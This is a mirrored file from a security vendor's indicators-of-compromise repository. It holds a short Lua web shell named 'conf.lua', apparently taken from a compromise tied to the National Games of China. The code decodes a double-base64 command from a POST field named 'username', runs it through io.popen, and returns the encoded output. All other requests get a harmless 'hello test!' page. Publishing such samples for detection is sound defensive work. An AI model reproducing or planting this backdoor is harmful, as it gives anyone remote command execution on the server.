6
0
mirror of https://github.com/avast/ioc synced 2024-06-25 16:28:34 +00:00
ioc-collection/NationalGamesOfChina/conf.lua
2022-02-03 13:58:59 +01:00

25 lines
587 B
Lua

package.path = package.path .. ';../app/lua/?.lua;./app/lua/?.lua'
web = require "libs/webutils"
local handler = {}
function handler.cc(self, action)
local a = io.popen(mg.base64_decode(mg.base64_decode(web:post("username")))):read("*all")
--print(a)
web:plain(mg.base64_encode(mg.base64_encode(a)))
end
--- The main loop
local a = web:get("a")
if handler[a] then
local result, err = pcall(handler[a], heandler, a)
if result == false then
web:json(json.encode({cmd='error', op='error', code=500, result=result, errmsg=err}))
end
else
web:html("hello test!");
end